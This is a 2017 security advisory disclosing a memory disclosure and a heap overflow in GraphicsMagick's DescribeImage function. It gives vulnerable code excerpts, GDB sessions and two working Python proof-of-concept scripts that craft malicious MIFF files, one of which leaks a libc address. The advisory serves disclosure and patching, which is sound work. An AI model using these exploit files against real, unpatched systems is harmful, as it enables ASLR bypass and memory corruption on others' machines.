GraphicsMagick Memory Disclosure / Heap Overflow
Posted on 04 November 2017
'''Vulnerabilities summary The following advisory describes two (2) vulnerabilities found in GraphicsMagick. GraphicsMagick is aThe swiss army knife of image processing. Comprised of 267K physical lines (according to David A. Wheeleras SLOCCount) of source code in the base package (or 1,225K including 3rd party libraries) it provides a robust and efficient collection of tools and libraries which support reading, writing, and manipulating an image in over 88 major formats including important formats like DPX, GIF, JPEG, JPEG-2000, PNG, PDF, PNM, and TIFF.a The vulnerabilities found are: Memory Information Disclosure Heap Overflow Credit An independent security researchers, Jeremy Heng (@nn_amon) and Terry Chia (Ayrx), has reported this vulnerability to Beyond Securityas SecuriTeam Secure Disclosure program Vendor response The vendor has released patches to address these vulnerabilities (15237:e4e1c2a581d8 and 15238:7292230dd18). For more details: ftp://ftp.graphicsmagick.org/pub/GraphicsMagick/snapshots/ChangeLog.txt Vulnerabilities details Memory Information Disclosure GraphicsMagick is vulnerable to a memory information disclosure vulnerability found in DescribeImage function of the magick/describe.c file. The portion of the code containing the vulnerability responsible of printing the IPTC Profile information contained in the image. This vulnerability can be triggered with a specially crafted MIFF file. The code which triggers the vulnerable code path is: 63 MagickExport MagickPassFail DescribeImage(Image *image,FILE *file, 64 const MagickBool verbose) 65 { ... 660 for (i=0; i < profile_length; ) 661 { 662 if (profile[i] != 0x1c) 663 { 664 i++; 665 continue; 666 } 667 i++; /* skip file separator */ 668 i++; /* skip record number */ ... 725 i++; 726 (void) fprintf(file," %.1024s: ",tag); 727 length=profile[i++] << 8; 728 length|=profile[i++]; 729 text=MagickAllocateMemory(char *,length+1); 730 if (text != (char *) NULL) 731 { 732 char 733 **textlist; 734 735 register unsigned long 736 j; 737 738 (void) strncpy(text,(char *) profile+i,length); 739 text[length]=' '; 740 textlist=StringToList(text); 741 if (textlist != (char **) NULL) 742 { 743 for (j=0; textlist[j] != (char *) NULL; j++) 744 { 745 (void) fprintf(file," %s ",textlist[j]); ... 752 i+=length; 753 } The value in profile_length variable is set in the following field in the MIFF header: profile-iptc=8 There is an out-of-bounds buffer dereference whenever profile[i] is accessed because the increments of i is never checked. If we break on line 738 of describe.c, we can explore what is present on the heap during the strncpy operation. gefa$? x/2xg profile 0x8be210: 0x08000a001c414141 0x00007ffff690fba8 The 8 bytes 0x08000a001c414141 is the profile payload present in the specially crafted MIFF file. 41 41 41 - padding 1C - sentinel check in line 662 00 - padding 0A - "Priority" tag 08 00 - 8 in big endian, the length If we examine the value 0x00007ffff690fba8 adjacent to the payload, it becomes apparent that it is an address within the main_arena struct in libc. gefa$? x/xw 0x00007ffff690fba8 0x7ffff690fba8 <main_arena+136>: 0x008cdc40 gefa$? vmmap libc Start End Offset Perm Path 0x00007ffff654b000 0x00007ffff670b000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff670b000 0x00007ffff690b000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff690b000 0x00007ffff690f000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff690f000 0x00007ffff6911000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so Now we can calculate the offset to libc base a 0x3c4b98 Proof of Concept $ python miff/readexploit.py [+] Starting local process a/usr/bin/gma: pid 20019 [+] Receiving all data: Done (1.27KB) [*] Process a/usr/bin/gma stopped with exit code 0 (pid 20019) [*] Main Arena Leak: 0x7f72948adb98 [*] libc Base: 0x7f72944e9000 #!/usr/bin/python # GraphicsMagick IPTC Profile libc Leak from pwn import * directory = "DIR" partitions = ('id=ImageMagick version=1.0 class=DirectClass matte=False ' + 'columns=1 rows=1 depth=16 scene=1 montage=1x1+0+0 profil' + 'e-iptc=', ' x0c :x1a', ' x00', ' x00xbexbexbexbexbexbe ') output = "readexploit.miff" length = 8 #libc_main_arena_entry_offset = 0x3c4ba8 libc_main_arena_entry_offset = 0x3c4b98 def main(): data = "AAA" + "x1c" + "x00" + chr(10) + p16(0x8, endian="big") header = partitions[0] + str(length) + partitions[1] payload = header + directory + partitions[2] + data + partitions[3] file(output, "w").write(payload) p = process(executable="gm", argv=["identify", "-verbose", output]) output_leak = p.recvall() priority_offset = output_leak.index("Priority:") + 12 montage_offset = output_leak.index("Montage:") - 3 leak = output_leak[priority_offset:montage_offset] if "0x00000000" in leak: log.info("Unlucky run. Value corrupted by StringToList") exit() main_arena_leak = u64(leak.ljust(8, "x00")) log.info("Main Arena Leak: 0x%x" % main_arena_leak) libc_base = main_arena_leak - libc_main_arena_entry_offset log.info("libc Base: 0x%x" % libc_base) if __name__ == "__main__": main() Heap Overflow GraphicsMagick is vulnerable to a heap overflow vulnerability found in DescribeImage() function of the magick/describe.c file. The call to strncpy on line 855 does not limit the size to be copied to the size of the buffer copied to. Instead, the size is calculated by searching for a newline or a null byte in the directory name. 844 /* 845 Display visual image directory. 846 */ 847 image_info=CloneImageInfo((ImageInfo *) NULL); 848 (void) CloneString(&image_info->size,"64x64"); 849 (void) fprintf(file," Directory: "); 850 for (p=image->directory; *p != ' '; p++) 851 { 852 q=p; 853 while ((*q != ' ') && (*q != ' ')) 854 q++; 855 (void) strncpy(image_info->filename,p,q-p); 856 image_info->filename[q-p]=' '; 857 p=q; ... 880 } 881 DestroyImageInfo(image_info); Since the field filename in the ImageInfo struct has the static size of 2053, the heap can be corrupted by forging an overly long directory name. type = struct _ImageInfo { ... FILE *file; char magick[2053]; char filename[2053]; _CacheInfoPtr_ cache; void *definitions; Image *attributes; unsigned int ping; PreviewType preview_type; unsigned int affirm; _BlobInfoPtr_ blob; size_t length; char unique[2053]; char zero[2053]; unsigned long signature; } One possible way to trigger the vulnerability is to run the identify command on a specially crafted MIFF format file with the verbose flag. Proof of Concept The following proof of concept script will generate a specially crafted MIFF file exploit.miff. ''' #!/usr/bin/python from pwn import * partitions = ('id=ImageMagick version=1.0 class=DirectClass matte=False ' + 'columns=1 rows=1 depth=16 scene=1 montage=1x1+0+0 x0c ' + ':x1a', ' x00xbexbexbexbexbexbe ') output = "exploit.miff" def main(): payload = "A"*10000 payload = partitions[0] + payload + partitions[1] file(output, "w").write(payload) if __name__ == "__main__": main() ''' Running the GraphicsMagick gm utility with the arguments identify -verbose in GDB and breaking after the vulnerable strncpy call, and examining the corrupted ImageInfo object demonstrates that the heap corruption was successful. gefa$? r identify -verbose exploit.miff ... gefa$? br describe.c:856 Breakpoint 1 at 0x4571df: file magick/describe.c, line 856. ... gefa$? p *image_info $3 = { ... compression = UndefinedCompression, file = 0x0, magick = ' 00' <repeats 2052 times>, filename = 'A' <repeats 2053 times>, cache = 0x4141414141414141, definitions = 0x4141414141414141, attributes = 0x4141414141414141, ping = 0x41414141, preview_type = 1094795585, affirm = 0x41414141, blob = 0x4141414141414141, length = 0x4141414141414141, unique = 'A' <repeats 2053 times>, zero = 'A' <repeats 2053 times>, signature = 0x4141414141414141 } '''
